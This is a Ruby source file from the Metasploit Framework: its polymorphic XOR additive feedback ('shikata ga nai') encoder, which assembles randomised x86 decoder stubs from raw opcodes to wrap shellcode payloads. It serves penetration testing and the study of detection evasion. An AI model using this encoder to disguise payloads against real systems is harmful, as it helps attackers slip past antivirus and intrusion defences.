## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'rex/poly' require 'msf/core' class Metasploit3 < Msf::Encoder::XorAdditiveFeedback # The shikata encoder has an excellent ranking because it is polymorphic. # Party time, excellent! Rank = ExcellentRanking def initialize super( 'Name' => 'Polymorphic XOR Additive Feedback Encoder', 'Version' => '$Revision$', 'Description' => %q{ This encoder implements a polymorphic XOR additive feedback encoder. The decoder stub is generated based on dynamic instruction substitution and dynamic block ordering. Registers are also selected dynamically. }, 'Author' => 'spoonm', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'Decoder' => { 'KeySize' => 4, 'BlockSize' => 4 }) end # # Generates the shikata decoder stub. # def decoder_stub(state) # If the decoder stub has not already been generated for this state, do # it now. The decoder stub method may be called more than once. if (state.decoder_stub == nil) # Shikata will only cut off the last 1-4 bytes of it's own end # depending on the alignment of the original buffer cutoff = 4 - (state.buf.length & 3) block = generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError) # Set the state specific key offset to wherever the XORK ended up. state.decoder_key_offset = block.index('XORK') # Take the last 1-4 bytes of shikata and prepend them to the buffer # that is going to be encoded to make it align on a 4-byte boundary. state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf # Cache this decoder stub. The reason we cache the decoder stub is # because we need to ensure that the same stub is returned every time # for a given encoder state. state.decoder_stub = block end state.decoder_stub end protected # # Returns the set of FPU instructions that can be used for the FPU block of # the decoder stub. # def fpu_instructions fpus = [] 0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr } 0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr } 0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr } 0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr } 0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr } fpus << "\xd9\xd0" fpus << "\xd9\xe1" fpus << "\xd9\xf6" fpus << "\xd9\xf7" fpus << "\xd9\xe5" # This FPU instruction seems to fail consistently on Linux #fpus << "\xdb\xe1" fpus end # # Returns a polymorphic decoder stub that is capable of decoding a buffer # of the supplied length and encodes the last cutoff bytes of itself. # def generate_shikata_block(state, length, cutoff) # Declare logical registers count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx') addr_reg = Rex::Poly::LogicalRegister::X86.new('addr') key_reg = nil if state.context_encoding key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax') else key_reg = Rex::Poly::LogicalRegister::X86.new('key') end # Declare individual blocks endb = Rex::Poly::SymbolicBlock::End.new # FPU blocks fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions) fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4") # Get EIP off the stack popeip = Rex::Poly::LogicalBlock.new('popeip', Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr }) # Clear the counter register clear_register = Rex::Poly::LogicalBlock.new('clear_register', "\x31\xc9", "\x29\xc9", "\x33\xc9", "\x2b\xc9") # Initialize the counter after zeroing it init_counter = Rex::Poly::LogicalBlock.new('init_counter') # Divide the length by four but ensure that it aligns on a block size # boundary (4 byte). length += 4 + (4 - (length & 3)) & 3 length /= 4 if (length <= 255) init_counter.add_perm("\xb1" + [ length ].pack('C')) else init_counter.add_perm("\x66\xb9" + [ length ].pack('v')) end # Key initialization block init_key = nil # If using context encoding, we use a mov reg, [addr] if state.context_encoding init_key = Rex::Poly::LogicalBlock.new('init_key', Proc.new { |b| (0xa1 + b.regnum_of(key_reg)).chr + 'XORK'}) # Otherwise, we do a direct mov reg, val else init_key = Rex::Poly::LogicalBlock.new('init_key', Proc.new { |b| (0xb8 + b.regnum_of(key_reg)).chr + 'XORK'}) end # Decoder loop block loop_block = Rex::Poly::LogicalBlock.new('loop_block') xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr } add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') } add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') } sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" } add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" } loop_block.add_perm( Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) }, Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) }, Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) }, Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) }, Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) }, Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) }) # Loop instruction block loop_inst = Rex::Poly::LogicalBlock.new('loop_inst', "\xe2\xf5") # Define block dependencies fnstenv.depends_on(fpu) popeip.depends_on(fnstenv) init_counter.depends_on(clear_register) loop_block.depends_on(popeip, init_counter, init_key) loop_inst.depends_on(loop_block) # Generate a permutation saving the ECX and ESP registers loop_inst.generate([ Rex::Arch::X86::ESP, Rex::Arch::X86::ECX ], nil, state.badchars) end end